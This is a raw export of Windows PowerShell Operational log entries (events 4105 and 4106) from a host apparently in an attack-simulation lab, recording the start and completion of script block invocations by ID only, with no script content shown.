Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038745
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038743
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038742
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038725
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038719
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
